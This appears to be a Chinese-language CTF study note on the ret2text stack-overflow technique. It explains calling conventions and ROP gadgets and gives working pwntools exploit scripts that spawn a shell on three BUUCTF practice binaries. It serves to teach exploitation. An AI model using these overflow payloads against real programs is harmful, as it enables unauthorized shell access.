0%

ret2text学习总结

前提知识

什么是ret2text

ret2text,即return to text,意思是劫持函数返回地址为程序本身就有的代码(.text),进而控制程序执行后门函数,拿到shell

strcpy函数溢出

  • 当源字符串的长度大于目标缓冲区时,strcpy函数会复制整个源字符串,导致栈溢出。

  • strcpy函数原型

char* strcpy(char* destination,const char* source);
//destination指向要复制的目标缓冲区
//source指向被复制的源字符串

ret2text题目类型

​ 第一种是直接劫持返回地址为system("/bin/sh")的地址。

​ 第二种比第一种稍微复杂了一些,虽然有system函数但是参数不是我们想要的 ,而在程序的其他地方也能找到/bin/sh字符串。这时就需要利用一些gadgetsystem函数传参。而64位程序和32位程序二者的传参方式也不同。

64位程序和32位程序在函数传参上的不同

​ 32位程序函数传参时,使用栈来传递参数(如_cdecl_stdcall),参数从右往左压入栈,然后执行call指令跳转到要执行的函数的位置。因此我们攻击时只需构造一个栈结构即可。

​ 64位程序函数传参时,先使用寄存器来存储参数,一共有6个存放参数的寄存器分别为rdi,rsi,rdx,rcx,r8,r9,当参数大于6个时多余的参数才通过栈传递。

gadget

gadget通常是以ret结尾的指令序列,如pop rdi ; ret,用于设置寄存器的值。在这里,我们用pop rdi ; ret/bin/sh放入rdi寄存器中。

例题

例题1buu jarvisoj_level0

拿到题目后先checksec level0命令检查一下保护,PIEcanary都没开,开了NX(堆栈不执行)保护。该程序为64位。

canary保护:函数开始执行的时候会先往栈里插入canary值,当函数真正返回的时候会验证canary值是否合法,如果不合法就停止程序运行。可以防止栈溢出覆盖返回地址。

image-20231207130909272

image-20231207131026174

定义数组buf[128],read函数读取,且0x200uLL大于128,可以栈溢出。通过下图

image-20231207131620028

计算偏移量,为0x80+8

image-20231207131114573

image-20231207131155073

该题是第一种类型,直接溢出并劫持返回地址为system函数地址0x400596,即可。

image-20231207132517025

最后exp

from pwn import *

p = remote("node4.buuoj.cn",27059)
context(arch='amd64',os='linux',log_level='debug')

system_addr = 0x400596

payload = b'a'*(0x80+8)+p64(system_addr)

p.sendline(payload)

p.interactive()

得到flag

image-20231207132411895

例题2:buu jarvisoj_level2_x64

拿到题目后先检查一下保护,PIEcanary都没开,开了NX

image-20231207111803128

把题目放入ida里,查看

image-20231207113118006

image-20231207113230907

定义了一个数组buf[128],有read函数0x200uLL明显大于128,可以栈溢出。计算偏移量,为0x80+8

image-20231207121308672

system函数还是两个,但是参数都不是我们想要的。再查看一下字符串(shift+F12)

image-20231207113459891

image-20231207113617885

很好,有/bin/sh点进去查看地址,为0x600a90,随便选一个system的地址为0x400603

image-20231207115950982

我们要做的就是通过pop rdi;ret/bin/sh传参给system函数,通过ROPgadget --binary level2_x64 | grep "pop rdi"命令得到pop rdi ; ret地址,如下

image-20231207120209890

最后exp

from pwn import *

p = remote("node4.buuoj.cn",26680)
context(arch='amd64',os='linux',log_level='debug')

system_addr = 0x400603
pop_rdi_addr = 0x4006b3
bin_addr = 0x600a90

payload = b'a'*(0x80+8)+p64(pop_rdi_addr)+p64(bin_addr)+p64(system_addr)
#按顺序写入,为什么是这个顺序我也不知道

#pop rdi控制第一个参数,ret衔接下一条指令
#pop rdi把bin_addr这个地址弹到了rdi寄存器中,ret执行触发system_addr
#调试一下看的很清楚,这也不知道,那也不知道,你知道啥,你这不知道 这题就不算弄懂了,不要得过且过



p.sendline(payload)

p.interactive()

得到flag

image-20231207120706744

例题3:buu jarvisoj_level2

前面几步都同上,我就不再多说。

如下,system的地址0x0804849e,偏移量0x88+4

image-20231207193202760

image-20231207193238143


![image-20231207193505701](https://raw.githubusercontent.com/Qwen11/picture/main/202503140001790.png)

最后```exp```

```python
from pwn import *

p = remote("node4.buuoj.cn",28486)

system_addr = 0x0804849e
shell_addr = 0x0804a024

payload = b'a'*(0x88+4)+p32(system_addr)+p32(shell_addr)
#payload = b'a'*(0x88+4)+p32(system_addr)+p32(8)+p32(shell_addr)
#payload = b'a'*(0x88)+p32(0xffffe000)+p32(system_addr)+p32(0xffffe000)+p32(shell_addr)
#因为这个p32(8)的位置是你调用system函数的返回地址,也就是system函数执行后要执行的地址。而system函数执行了命令/bin/sh后会开启一个子进程阻塞当前的进程,所以system函数不会返回,这个地址8也就不会被跳转,这里你可以换成任意一个值都能成功,也就解释了为什么写了一个非法地址但程序不会崩溃 ,因为system压根就没返回
p.sendline(payload)

p.interactive()

得到flag

image-20231207193934134